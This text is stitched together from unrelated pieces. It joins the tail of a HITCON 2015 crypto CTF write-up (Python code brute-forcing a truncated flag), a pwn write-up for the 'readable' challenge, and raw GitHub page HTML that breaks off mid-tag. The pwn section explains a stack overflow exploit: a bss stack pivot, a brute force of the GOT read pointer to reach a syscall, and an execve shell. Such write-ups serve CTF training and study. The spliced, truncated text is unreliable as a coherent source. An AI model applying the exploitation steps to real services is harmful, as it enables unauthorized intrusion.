```117819576043932228652314950522841163188764406822672062154095820957784328618743486608452518480454169292882246487226436372571580328445408188970955313275707356349635909107039805208587333631745117087334829588533505994481803456127849693717951428635276411158657803536165303634079717849579713871573946024796279189581177591269513969694950673020202114872377044854770083045515434824811804644179137385085030373517766266922659497131453179760658693811415956448839318150711146073972050319142491971579761247864814022225934830444072302956340436288874950031307801611516286098386036510161440724376291593564883862686801676635328205115153135133456301869734340562247474183082309005628531407715482423717693263787976379790064568800203420573643404440830910301390203966050312684262105542571787810437538609835530653548723206992223739694051403116033838374102819999784085411327713756126315607015319515734714863243722704827693396130789864791950805203149458209172478500429284115911341298411812087160213815036901464138556384825062490184204236899720129216027736787311657983978469407694445569920898900799902272945603927170613309316194677547448258087059321420812949498163348959121812010130038599394605938359954055553000134797367918590618949051774933054747515828098722231190034465374208737458756805962527153843988120540034566112919371150342949853216833366509655723900426863126340902412539725238623618178907449599918819458580414001380634345441706410302319257939601997542207538660484953960621708939560233229848538955376270959422236352629054710419030``` So what is left? Just read the values as text? Unfortunately there is a problem - in the cipher code we have: `assert len(flag) == 50` But at the same time `len(long_to_bytes(n))` equals 40 - this means that our message was 50 bytes long and got "cut" by modulo operation. What can we do? The only way is a brute-force - but brute-forcing 10 bytes is a lot. Fortunately we know some things about the message. We know the prefix and suffix. It has to be the flag therefore it starts with `hitcon{` and ends with `}`. Let's start with drawing how the flag and our additional variables look like: ```pythonflag = hitcon{ABCxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzx}const = hitcon{ }brute = ABCmsg = xyzxyzxyzxyzxyzxyzxyzxyzxyzxyzx``` Why this division? We know the value of `flag %n` but it is ambigious (since `flag` has 50 bytes and `n` has 40).However is we know only "msg" part then `msg % n` is not ambigious (since it is shorter than n). But how to get it?We know `const` so we can cut this out of the flag. We can also brute-force the `brute` part - this is only 3 bytes, and check every possible `msg`. We write the code to crack the flag: ```pythondef crack_flag(ct, n): n_len = 40 flag_len = 50 const = int('hitcon{'.encode('hex'), 16) * (256**(flag_len - 7)) for a in range(32, 128): for b in range(32, 128): for c in range(32, 127): brute = (a * 256 * 256 + b * 256 + c) * (256**(flag_len - 10)) flag = (ct - const - brute) % n flag = (flag - ord('}')) * modinv(256, n) % n flagstr = long_to_bytes(flag) if all(32 <= ord(c) <= 128 for c in flagstr): print chr(a) + chr(b) + chr(c) + flagstr n = 20313365319875646582924758840260496108941009482470626789052986536609343163264552626895564532307 for msg in possible_inputs: print 'testing', msg crack_flag(msg, n)``` After we run it we finally get the flag from one of ciphertexts: `Congratz~~! Let's eat an apple pi <3.14159` We also remember that we removed the const part: `hitcon{Congratz~~! Let's eat an apple pi <3.14159}` And we have +314 points.
# readable (pwn 300) ## Description ```Can you read everything ?nc 52.68.53.28 56746 readable-9e377f8e1e38c27672768310188a8b99```(Intentionally no libc given) ## The bugs The program is *really* simple. ```Cssize_t __fastcall main(__int64 a1, char **a2, char **a3){ char buf[16]; // [sp+0h] [bp-10h]@1 return read(0, buf, 32uLL);}``` It reads 32 bytes into a 16-byte stack buffer. This gives us full control of the buffer, saved rbp, and return address. ## Exploit The first challenge is to get data that we control into the bss section, so that we can stack pivot to the bss section. This will give us an arbitrarily long rop chain. Our strategy was to use our control of rbp and set it to the memory location we want to write to plus 0x10 bytes. Then return to `0x400505` so that our memory location is used as the destination buffer. We can repeat these steps to read in as many blocks of 16 bytes as we require. Next, we need to generate a rop chain that will give us a shell. With NX and ASLR enabled, and no knowledge of the libc binary, this is non-trivial. We realized that by brute forcing the last byte of the `read` pointer in the GOT we could stumble upon a `syscall` instruction. In order to know when we hit the `syscall` instruction, we needed to have `eax` set to 1 so that it would be a `write` to `STDOUT`. We can control `eax` by doing a read with `eax` number of bytes (`read` returns the number of bytes read in `eax`). Note that we do not need to brute force again once we find the last byte. Now a shell is trivial. We setup the registers for a `execve` syscall and call the `read` pointer that has been changed to point to a `syscall` instruction. See[exploit.py](https://github.com/pwning/public-writeup/blob/master/hitcon2015/pwn300-readable/exploit.py)for the full exploit. ## Flag Flag: `hitcon{R3aD1NG_dYn4mIC_s3C710n_Is_s0_FuN}`
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>angr-doc/examples/asisctffinals2015_fake at master · angr/angr-doc · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="CD31:C14D:2D1D49A:2E2B788:641229A1" data-pjax-transient="true"/><meta name="html-safe-nonce" content="08cf9f59ed231fefa4b5ebf466ff1cbea598a8d79813861761c85ad246a02d0e" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJDRDMxOkMxNEQ6MkQxRDQ5QToyRTJCNzg4OjY0MTIyOUExIiwidmlzaXRvcl9pZCI6IjQxNTQ4MTQ5Mjk4OTgxODcxNjkiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="b9ad5591d58a24ed6f6b2e709bbb45491688d4feb977085fa5ee797f6945f61a" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:40329995" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="Documentation for the angr suite. Contribute to angr/angr-doc development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/8f6827a0e6b0372df5ac38932a4e0e874de610d5ffc074c0414ae55bbd1ae4ca/angr/angr-doc" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="angr-doc/examples/asisctffinals2015_fake at master · angr/angr-doc" /><meta name="twitter:description" content="Documentation for the angr suite. Contribute to angr/angr-doc development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/8f6827a0e6b0372df5ac38932a4e0e874de610d5ffc074c0414ae55bbd1ae4ca/angr/angr-doc" /><meta property="og:image:alt" content="Documentation for the angr suite. Contribute to angr/angr-doc development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="angr-doc/examples/asisctffinals2015_fake at master · angr/angr-doc" /><meta property="og:url" content="https://github.com/angr/angr-doc" /><meta property="og:description" content="Documentation for the angr suite. Contribute to angr/angr-doc development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/angr/angr-doc git https://github.com/angr/angr-doc.git"> <meta name="octolytics-dimension-user_id" content="12520807" /><meta name="octolytics-dimension-user_login" content="angr" /><meta name="octolytics-dimension-repository_id" content="40329995" /><meta name="octolytics-dimension-repository_nwo" content="angr/angr-doc" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="40329995" /><meta name="octolytics-dimension-repository_network_root_nwo" content="angr/angr-doc" /> <link rel="canonical" href="https://github.com/angr/angr-doc/tree/master/examples/asisctffinals2015_fake" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 